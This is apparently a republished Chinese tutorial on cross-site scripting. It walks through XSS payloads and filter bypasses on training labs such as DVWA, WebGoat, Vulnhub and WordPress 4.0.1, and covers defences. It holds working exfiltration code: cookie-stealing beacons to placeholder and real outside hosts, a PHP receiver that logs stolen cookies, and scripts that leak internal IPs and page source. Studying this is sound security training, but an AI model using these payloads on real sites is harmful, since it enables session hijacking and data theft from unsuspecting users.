红日安全Web安全Day2 - XSS跨站实战攻防

2019-08-20 约 1748 字 预计阅读 9 分钟

声明:本文 【红日安全Web安全Day2 - XSS跨站实战攻防】 由作者 红日安全 于 2019-08-20 09:05:00 首发 先知社区 曾经 浏览数 141 次

感谢 红日安全 的辛苦付出!

本文由红日安全成员: Aixic 编写,如有不当,还望斧正。

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

1.XSS漏洞概述

1.1 漏洞简介

跨站脚本攻击—XSS(Cross Site Script),是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。假设,在一个服务端上,有一处功能使用了这段代码,他的功能是将用户输入的内容输出到页面上,很常见的一个功能。但是假如,这里输入的内容是一段经过构造的js。那么在用户再次访问这个页面时,就会获取使用js在用户的浏览器端执行一个弹窗操作。通过构造其他相应的代码,攻击者可以执行更具危害的操作。

1.2 XSS漏洞原理

1.2.1 反射型

非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS
主要是GET类型

1.2.2 存储型

持久型,常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。
例如:<srcipt>alert(/xss/)</srcipt>

1.2.3 DOM型

DOM型是特殊的反射型XSS
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>

1.3 XSS危害

1.3.1 盗取管理员cookie

盗取管理员的cookie然后登陆后台,获取到后台权限。

1.3.2 XSS蠕虫攻击

可以构成几何的速度进行传播xss代码,获取大部分人的权限。一般配合csrf使用

1.4 常用XSS语句

<script>alert(/xss/);</script> //经典语句

<BODY ONLOAD=alert('XSS')>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href = javasript:alert(1)>

1.5 XSS漏洞绕过

1.5.1 JS编码

三个八进制数;如果不够前面补0
两个十六进制数字;如果不够前面补0
四个十六进制数字;如果不够前面补0
控制字符

1.5.2 HTML实体编码

&开始;结束

1.5.3 URL编码

%27
考虑HTML的渲染方式选择合适的编码方式进行测试

1.6 XSS漏洞浏览器问题

有些浏览器会过滤掉一些js脚本,在测试的时候需要关闭对JavaScript的检测。

0x06 XSS漏洞防御

过滤输入的数据,和非法字符‘ “ < > on* 等”’
输出到页面的数据进行相应的编码转换包括HTML实体编码、JavaScript编码等

2. 测试方法

2.1 手工测试

这里我们选取DVWA靶场进行手工测试。

2.1.1

2.1.1.1 DVWA 简介

DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

2.1.1.2 DVWA 安装

https://github.com/ethicalhack3r/DVWA/archive/master.zip

本地PHPStudy搭建DVWA靶机,放入www目录下即可
环境使用PHP+MySQL即可。

修改config.inc.php.dist配置文件中的数据库密码,并且把文件后缀.dist去掉

因为是xss实验,所以上面的红字可无视,重置一下数据库进入靶场

用户名:admin 密码:password 登陆靶场

默认的难度是impossible级别,先选择low级别

2.1.1.3 测试过程

Low
Low_DOM XSS
</option></select><img src=## onerror=alert(document.cookie)>即可触发XSS

Low_Reflected XSS
直接使用<script>alert(document.cookie)</script>

Low_Stored XSS

Medium
Medium_DOM XSS
从Medium级别就开始有加固

可以看到它先判断default是否为空,如果不为空,判断下面判断GET输入进来的变量default是否存在<script如果存在就重定向到?default=English
用之前low级别的代码就可以进行绕过

</option></select><img src=## onerror=alert(document.cookie)>

Medium_Reflected XSS

分析发现现实判断是否为空,如果不为空再判断其中的内容如果有<script>就替换成空复写就可以绕过

<sc<script>ript>alert(document.cookie)</script>

Medium_Stored XSS

在信息框把所有的特殊字符都进行了addslashes转义,在name那块仍然可以用复写绕过、
但是name处限制了长度,改一下即可

High
High_DOM XSS
High级别的代码的限制就比较多,但是还能利用

只能选择case后面的参数来提交,如果不是就按照默认English
构造语句,这里的##是URL的锚点,让浏览器判断这里终止,主要是让本地存储这个xss语句,发送到服务端进行验证的是##前面的内容,达到了绕过的目的

English##<script>alert(document.cookie)</script>

High_Reflected XSS

上述代码进行了正则替换,只要包含script这些都会进行替换,不使用script即可

<img src=1 onerror=alert(document.cookie)>

High_Stored XSS

跟上面同理,在name处进行xss,仍然需要改name长度

Impossible
Impossible级别利用失败

无敌防御方法使用htmlspecialchars函数对输入的数据实例化,失去本身作用。

2.1.2 DSVW

2.1.2.1 DSVW 简介

Damn Small Vulnerable Web (DSVW) 是使用 Python 语言开发的 Web应用漏洞 的演练系统。其系统只有一个 python 的脚本文件组成, 当中涵盖了 26 种 Web应用漏洞环境, 并且脚本代码行数控制在了100行以内, 当前版本v0.1m。需要python (2.6.x 或 2.7)并且得安装lxml库

2.1.2.2 DSVW 安装

安装python-lxml,再下载DSVW

apt-get install python-lxml
git clone https://github.com/stamparm/DSVW.git

直接运行

如果出现ip无法访问的情况改一下代码即可

2.1.2.3 测试过程

XSS(Reflected)
因为这个网站没有cookie,所以直接弹射信息
代码<script>alert(/xss aixi/)</script>

XSS(Stored)
http://10.1.1.14:65412/?comment=%3Cscript%3Ealert(/xss%20aixi/)%3C/script%3E
代码<script>alert(/xss aixi/)</script>

直接弹射

XSS(DOM)
?##lang=<script>alert(/xss%20aixi/)</script>

直接弹射

XSS(JSON)

看代码可发现
构造语句alert(/xss/)即可不用带script

2.2 工具测试

因为要测试所以需要关闭DVWA的登陆验证
加上$dvwaSession[ 'username' ]='admin';

在config/config.inc.php把默认难度也改成low

2.2.1 BruteXSS

下载链接

https://github.com/ym2011/penetration/tree/master/BruteXSS


测试过程中会因为DVWA的cookie验证严格出现问题,把dvwa的代码进行本地测试利用即可

2.2.2 xxser

Kali自带或下载链接

在基于Debian的系统上安装

sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip 使用

利用成功

2.3 XSS平台搭建

2.3.1 平台介绍

XSS平台可以辅助安全测试人员对XSS相关的漏洞危害进行深入学习,了解XSS的危害重视XSS的危害,如果要说XSS可以做哪些事情,XSS可以做js能够做的所有事情。包括但不限于:窃取Cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息,IP地址等)等。
XSS平台项目名称:BlueLotus_XSSReceiver
作者:firesun(来自清华大学蓝莲花战队)
项目地址:https://github.com/firesunCN/BlueLotus_XSSReceiver

2.3.2 平台环境

服务器操作系统:ubuntu14
web容器:Apache2
脚本语言:PHP7
安装http server与php环境(ubuntu: sudo apt-get install apache2 php5 或 sudo apt-get install apache2 php7.0 libapache2-mod-php7.0)

2.3.3 平台部署

文件解压到www根目录
然后给个权限,为了防止出错

权限的问题已经解决了

打开网页访问admin.php进行自动部署,点击安装

设置一下后台登陆密码

点击下一步,部署成功

2.3.4 平台使用

登陆平台,在公共模版处使用默认js来进行
修改一下网站的地址

改成这样即可

点击下面的修改即可成功应用

下面开始使用这个默认的JS脚本进行XSS,复制一下js地址https://aixic.cn/XXXSSS/template/default.js

在DVWA中插入试试

<sCRiPt sRC=https://aixic.cn/XXXSSS/template/default.js></sCrIpT>


能成功反射cookie

2.3.5 平台扩展

2.3.5.1 XSS平台反射注入

介绍一个之前在比赛看见有个师傅玩的操作,用xss进行内网SQL注入。ps:虽然他x错地方了而且跟注入没关系,但是看着挺好玩的,进行了一个简单的布尔判断xss

xmlhttp=new XMLHttpRequest();
var d1=new Date();
t1=d1.getTime();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
var d2=new Date();
t2=d2.getTime();
location.href="http://123.207.99.17/id1?xssaaaa"+escape(xmlhttp.responseText)+"timeCost"+String(t2-t1);
}
}
xmlhttp.open("POST","/Ze02pQYLf5gGNyMn/login.php",true);
xmlhttp.send("username=admi/**/or/**/1&password=1");

2.3.5.2 使用邮件提醒

设置一下config.php里的与邮件相关的

直接去别的XSS平台去扒他们的脚本,拿来就能用

如这个获取内网IP的脚本

var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function() {
    var rtc = new RTCPeerConnection({
        iceServers:[]
    });
    if (1 || window.mozRTCPeerConnection) {
        rtc.createDataChannel("", {
            reliable:false
        });
    }
    rtc.onicecandidate = function(evt) {
        if (evt.candidate) grepSDP("a=" + evt.candidate.candidate);
    };
    rtc.createOffer(function(offerDesc) {
        grepSDP(offerDesc.sdp);
        rtc.setLocalDescription(offerDesc);
    }, function(e) {
        console.warn("offer failed", e);
    });
    var addrs = Object.create(null);
    addrs["0.0.0.0"] = false;
    function updateDisplay(newAddr) {
        if (newAddr in addrs) return; else addrs[newAddr] = true;
        var displayAddrs = Object.keys(addrs).filter(function(k) {
            return addrs[k];
        });
new Image().src="https://xsshs.cn/xss.php?do=selfxss&act=g&id={projectId}&c=!!!cookie:"+document.cookie+"!!!ip:"+String(displayAddrs);

    }
    function grepSDP(sdp) {
        var hosts = [];
        sdp.split("\r\n").forEach(function(line) {
            if (~line.indexOf("a=candidate")) {
                var parts = line.split(" "), addr = parts[4], type = parts[7];
                if (type === "host") updateDisplay(addr);
            } else if (~line.indexOf("c=")) {
                var parts = line.split(" "), addr = parts[2];
                updateDisplay(addr);
            }
        });
    }
})();

获取页面源码的脚本

var cr;
if (document.charset) {
  cr = document.charset
} else if (document.characterSet) {
  cr = document.characterSet
};
function createXmlHttp() {
  if (window.XMLHttpRequest) {
    xmlHttp = new XMLHttpRequest()
  } else {
    var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
    for (var n = 0; n < MSXML.length; n++) {
      try {
        xmlHttp = new ActiveXObject(MSXML[n]);
        break
      } catch (e) {
      }
    }
  }
}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open('GET', '{set.filename}', true);
xmlHttp.send(null);
function writeSource() {
  if (xmlHttp.readyState == 4) {
      var code = BASE64.encoder(xmlHttp.responseText);
      xssPost('https://xsshs.cn/xss.php?do=api&id={projectId}', code);
  }
}

  function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
    de.contentDocument.forms[0].submit();
    de.style.display = 'none';
}
/**
 *create by 2012-08-25 pm 17:48
 *@author hexinglun@gmail.com
 *BASE64 Encode and Decode By UTF-8 unicode
 *可以和java的BASE64编码和解码互相转化
 */
(function(){
    var BASE64_MAPPING = [
    'A','B','C','D','E','F','G','H',
    'I','J','K','L','M','N','O','P',
    'Q','R','S','T','U','V','W','X',
    'Y','Z','a','b','c','d','e','f',
    'g','h','i','j','k','l','m','n',
    'o','p','q','r','s','t','u','v',
    'w','x','y','z','0','1','2','3',
    '4','5','6','7','8','9','+','/'
  ];

  /**
   *ascii convert to binary
   */
  var _toBinary = function(ascii){
    var binary = new Array();
    while(ascii > 0){
      var b = ascii%2;
      ascii = Math.floor(ascii/2);
      binary.push(b);
    }
    /*
    var len = binary.length;
    if(6-len > 0){
      for(var i = 6-len ; i > 0 ; --i){
        binary.push(0);
      }
    }*/
    binary.reverse();
    return binary;
  };

  /**
   *binary convert to decimal
   */
  var _toDecimal  = function(binary){
    var dec = 0;
    var p = 0;
    for(var i = binary.length-1 ; i >= 0 ; --i){
      var b = binary[i];
      if(b == 1){
        dec += Math.pow(2 , p);
      }
      ++p;
    }
    return dec;
  };

  /**
   *unicode convert to utf-8
   */
  var _toUTF8Binary = function(c , binaryArray){
    var mustLen = (8-(c+1)) + ((c-1)*6);
    var fatLen = binaryArray.length;
    var diff = mustLen - fatLen;
    while(--diff >= 0){
      binaryArray.unshift(0);
    }
    var binary = [];
    var _c = c;
    while(--_c >= 0){
      binary.push(1);
    }
    binary.push(0);
    var i = 0 , len = 8 - (c+1);
    for(; i < len ; ++i){
      binary.push(binaryArray[i]);
    }

    for(var j = 0 ; j < c-1 ; ++j){
      binary.push(1);
      binary.push(0);
      var sum = 6;
      while(--sum >= 0){
        binary.push(binaryArray[i++]);
      }
    }
    return binary;
  };

  var __BASE64 = {
      /**
       *BASE64 Encode
       */
      encoder:function(str){
        var base64_Index = [];
        var binaryArray = [];
        for(var i = 0 , len = str.length ; i < len ; ++i){
          var unicode = str.charCodeAt(i);
          var _tmpBinary = _toBinary(unicode);
          if(unicode < 0x80){
            var _tmpdiff = 8 - _tmpBinary.length;
            while(--_tmpdiff >= 0){
              _tmpBinary.unshift(0);
            }
            binaryArray = binaryArray.concat(_tmpBinary);
          }else if(unicode >= 0x80 && unicode <= 0x7FF){
            binaryArray = binaryArray.concat(_toUTF8Binary(2 , _tmpBinary));
          }else if(unicode >= 0x800 && unicode <= 0xFFFF){//UTF-8 3byte
            binaryArray = binaryArray.concat(_toUTF8Binary(3 , _tmpBinary));
          }else if(unicode >= 0x10000 && unicode <= 0x1FFFFF){//UTF-8 4byte
            binaryArray = binaryArray.concat(_toUTF8Binary(4 , _tmpBinary));  
          }else if(unicode >= 0x200000 && unicode <= 0x3FFFFFF){//UTF-8 5byte
            binaryArray = binaryArray.concat(_toUTF8Binary(5 , _tmpBinary));
          }else if(unicode >= 4000000 && unicode <= 0x7FFFFFFF){//UTF-8 6byte
            binaryArray = binaryArray.concat(_toUTF8Binary(6 , _tmpBinary));
          }
        }

        var extra_Zero_Count = 0;
        for(var i = 0 , len = binaryArray.length ; i < len ; i+=6){
          var diff = (i+6)-len;
          if(diff == 2){
            extra_Zero_Count = 2;
          }else if(diff == 4){
            extra_Zero_Count = 4;
          }
          //if(extra_Zero_Count > 0){
          //  len += extra_Zero_Count+1;
          //}
          var _tmpExtra_Zero_Count = extra_Zero_Count;
          while(--_tmpExtra_Zero_Count >= 0){
            binaryArray.push(0);
          }
          base64_Index.push(_toDecimal(binaryArray.slice(i , i+6)));
        }

        var base64 = '';
        for(var i = 0 , len = base64_Index.length ; i < len ; ++i){
          base64 += BASE64_MAPPING[base64_Index[i]];
        }

        for(var i = 0 , len = extra_Zero_Count/2 ; i < len ; ++i){
          base64 += '=';
        }
        return base64;
      },
      /**
       *BASE64  Decode for UTF-8 
       */
      decoder : function(_base64Str){
        var _len = _base64Str.length;
        var extra_Zero_Count = 0;
        /**
         *计算在进行BASE64编码的时候,补了几个0
         */
        if(_base64Str.charAt(_len-1) == '='){
          //alert(_base64Str.charAt(_len-1));
          //alert(_base64Str.charAt(_len-2));
          if(_base64Str.charAt(_len-2) == '='){//两个等号说明补了4个0
            extra_Zero_Count = 4;
            _base64Str = _base64Str.substring(0 , _len-2);
          }else{//一个等号说明补了2个0
            extra_Zero_Count = 2;
            _base64Str = _base64Str.substring(0 , _len - 1);
          }
        }

        var binaryArray = [];
        for(var i = 0 , len = _base64Str.length; i < len ; ++i){
          var c = _base64Str.charAt(i);
          for(var j = 0 , size = BASE64_MAPPING.length ; j < size ; ++j){
            if(c == BASE64_MAPPING[j]){
              var _tmp = _toBinary(j);
              /*不足6位的补0*/
              var _tmpLen = _tmp.length;
              if(6-_tmpLen > 0){
                for(var k = 6-_tmpLen ; k > 0 ; --k){
                  _tmp.unshift(0);
                }
              }
              binaryArray = binaryArray.concat(_tmp);
              break;
            }
          }
        }

        if(extra_Zero_Count > 0){
          binaryArray = binaryArray.slice(0 , binaryArray.length - extra_Zero_Count);
        }

        var unicode = [];
        var unicodeBinary = [];
        for(var i = 0 , len = binaryArray.length ; i < len ; ){
          if(binaryArray[i] == 0){
            unicode=unicode.concat(_toDecimal(binaryArray.slice(i,i+8)));
            i += 8;
          }else{
            var sum = 0;
            while(i < len){
              if(binaryArray[i] == 1){
                ++sum;
              }else{
                break;
              }
              ++i;
            }
            unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+1 , i+8-sum));
            i += 8 - sum;
            while(sum > 1){
              unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+2 , i+8));
              i += 8;
              --sum;
            }
            unicode = unicode.concat(_toDecimal(unicodeBinary));
            unicodeBinary = [];
          }
        }
        return unicode;
      }
  };

  window.BASE64 = __BASE64;
})();

2.4 简易xss平台搭建

JS脚本

var img = document.createElement("img");
img.src = "http://xxx/x.php?cookie="+document.cookie;
document.body.appendChild(img);

接收端

<?php  
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie']."\r\n\r\n";  
echo htmlspecialchars($_GET['cookie']);
$myfile = fopen("/aixi/XSS/xss_victim.txt", "a");
fwrite($myfile, $victim);
?>

2.5 WebGoat 简介

WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。

2.5.1 WebGoat 安装

https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar


默认是127.0.0.1 ,只能本机访问,需要更改
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0

需更新到最新的java版本

https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html

安装java步骤省略,安装好了开始运行


访问http://192.168.123.25:8080/WebGoat

2.5.2 测试过程

2.5.2.1 XSS(DOM)

第一个

攻击语句<script>alert(document.cookie)</script>

第二个


去找js脚本看里面的内容。

输入
start.mvc#test/

第三个

结合上一个题的东西路径+基本参数构成

攻击语句start.mvc##test/<script>alert(document.cookie),经过测试发现如果输入<script>他会自己补全,所以就不用输入</script>

2.5.2.2 XSS(Stored)

攻击代码<script>alert(document.cookie)</script>,直接留言板插入即可没有过滤

  1. 真实实战演练

3.1 Vulnhub 简介

Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标。

3.2 Vulnhub 安装

这里下载关于xss的(下载32位的,以后可以用来做溢出攻击)

https://download.vulnhub.com/pentesterlab/xss_and_mysql_file_i386.iso


打开VMware经典模式挂上镜像一直下一步,选择桥接模式就能自动分配一个IP地址



安装成功

3.3 Vulnhub 漏洞介绍

本练习说明如何使用跨站点脚本漏洞来访问管理员的cookie。然后,您将如何使用他/她的会话来访问管理以查找SQL注入并使用它来获取代码执行。这个靶场主要是做一个xss反射
用户名admin 密码P4ssw0rd

3.4 Vulnhub 漏洞演示


直接点留言


成功,因为是真实环境,我们这里直接用xss平台搞

管理员查看留言板触发xss


即可成功冒充用户登录

3.5 Vulnhub 漏洞修复

对输入处进行实例化,是最有效最简单的方法,如果是替换代码,量就比较大

实例化classes/post.php

<?php

class Post{
  public $id, $title, $text, $published;
  function __construct($id, $title, $text, $published){
    $this->title= $title;
    $this->text = $text;
    $this->published= $published;
    $this->id = $id;
  }   


  function all($cat=NULL,$order =NULL) {
    $sql = "SELECT * FROM posts";
    if (isset($order)) 
      $sql .= "order by ".mysql_real_escape_string($order);  
    $results= mysql_query($sql);
    $posts = Array();
    if ($results) {
      while ($row = mysql_fetch_assoc($results)) {
        $posts[] = new Post($row['id'],$row['title'],$row['text'],$row['published']);
      }
    }
    else {
      echo mysql_error();
    }
    return $posts;
  }


  function render_all($pics) {
    echo "<ul>\n";
    foreach ($pics as $pic) {
      echo "\t<li>".$pic->render()."</a></li>\n";
    }
    echo "</ul>\n";
  }
 function render_edit() {
    $str = "<img src=\"uploads/".h($this->img)."\" alt=\"".h($this->title)."\" />";
    return $str;
  } 


  function render() {
    $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
    $str.= '<div class="inner" align="center">';
    $str.= "<p>".htmlentities($this->text)."</p></div>";   
    $str.= "<p><a href=\"/post.php?id=".h($this->id)."\">";
    $count = $this->get_comments_count();
    switch ($count) {
    case 0:
        $str.= "Be the first to comment";
        break;
    case 1:
        $str.= "1 comment";
        break;
    case 2:
        $str.= $count." comments";
        break;
    }    
    $str.= "</a></p>";
    return $str;
  }
  function add_comment() {
    $sql  = "INSERT INTO comments (title,author, text, post_id) values ('";
    $sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."','";
    $sql .= mysql_real_escape_string(htmlspecialchars($_POST["author"]))."','";
    $sql .= mysql_real_escape_string(htmlspecialchars($_POST["text"]))."',";
    $sql .= intval($this->id).")";
    $result = mysql_query($sql);
    echo mysql_error(); 
  } 
  function render_with_comments() {
    $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
    $str.= '<div class="inner" style="padding-left: 40px;">';
    $str.= "<p>".htmlentities($this->text)."</p></div>";   
    $str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>";
    foreach ($this->get_comments() as $comment) {
      $str.= "\n\t<li>".$comment->text."</li>";
    }
    $str.= "\n</ul></div>";
    return $str;
  }

  function get_comments_count() {
    if (!preg_match('/^[0-9]+$/', $this->id)) {
      die("ERROR: INTEGER REQUIRED");
    }
    $comments = Array();
    $result = mysql_query("SELECT count(*) as count FROM comments where post_id=".$this->id);
    $row = mysql_fetch_assoc($result);
    return $row['count'];
  } 

  function get_comments() {
    if (!preg_match('/^[0-9]+$/', $this->id)) {
      die("ERROR: INTEGER REQUIRED");
    }
    $comments = Array();
    $results = mysql_query("SELECT * FROM comments where post_id=".$this->id);
    if (isset($results)){
      while ($row = mysql_fetch_assoc($results)) {
        $comments[] = Comment::from_row($row);
      }
    }
    return $comments;
  } 

  function find($id) {
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;

  }
  function delete($id) {
    if (!preg_match('/^[0-9]+$/', $id)) {
      die("ERROR: INTEGER REQUIRED");
    }
    $result = mysql_query("DELETE FROM posts where id=".(int)$id);
  }

  function update($title, $text) {
      $sql = "UPDATE posts SET title='";
      $sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."',text='";
      $sql .= mysql_real_escape_string(htmlspecialchars( $_POST["text"]))."' WHERE id=";
      $sql .= intval($this->id);
      $result = mysql_query($sql);
      $this->title = $title; 
      $this->text = $text; 
  } 

  function create(){
      $sql = "INSERT INTO posts (title, text) VALUES ('";
      $title = mysql_real_escape_string(htmlspecialchars( $_POST["title"]));
      $text = mysql_real_escape_string(htmlspecialchars( $_POST["text"]));
      $sql .= $title."','".$text;
      $sql.= "')";
      $result = mysql_query($sql);

  }
}
?>


实例化成功

4. CMS实战演练

4.1 WordPress简介

WordPress于2003年开始使用一段代码来增强日常写作的印刷效果,用户数量少于您可以依靠手指和脚趾的数量。自那时起,它已成长为世界上最大的自主托管博客工具,在数百万个网站上使用,每天都有数千万人看到。

4.2 WordPress部署

下载4.1版本以下

https://cn.wordpress.org/wordpress-4.0.1-zh_CN.zip

使用phpstudy搭建WordPress
放到跟目录直接一把梭

4.3 安装


先创建一个数据库create database wordpress;



进行安装


安装成功

4.4 WordPress漏洞介绍

漏洞出现在wordpress的留言处,不过问题是由mysql的一个特性引起的。在mysql的utf8字符集中,一个字符由1~3个字节组成,对于大于3个字节的字符,mysql使用了utf8mb4的形式来存储。如果我们将一个utf8mb4字符插入到utf8编码的列中,那么在mysql的非strict mode下,他的做法是将后面的内容截断。截断的话,就能绕过很多富文本过滤器了。比如,插入两个评论<img src=1,和onerror=alert(1)//,这二者都不会触发某些富文本过滤器(因为前者并不含有白名单外的属性,后者并不是一个标签),但两个评论如果存在于同一个页面,就会拼接成一个完整的HTML标签,触发onerror事件。

4.5 WordPress漏洞演示

先把Mysql的strict mode关闭
my.ini

将其中的 sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

修改为 sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

攻击代码//P神博客的
```
<abbr title="qweqw style=display:block;position:fixed;width:100%;height:100%;top:0; onmouseover=alert(1)//

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now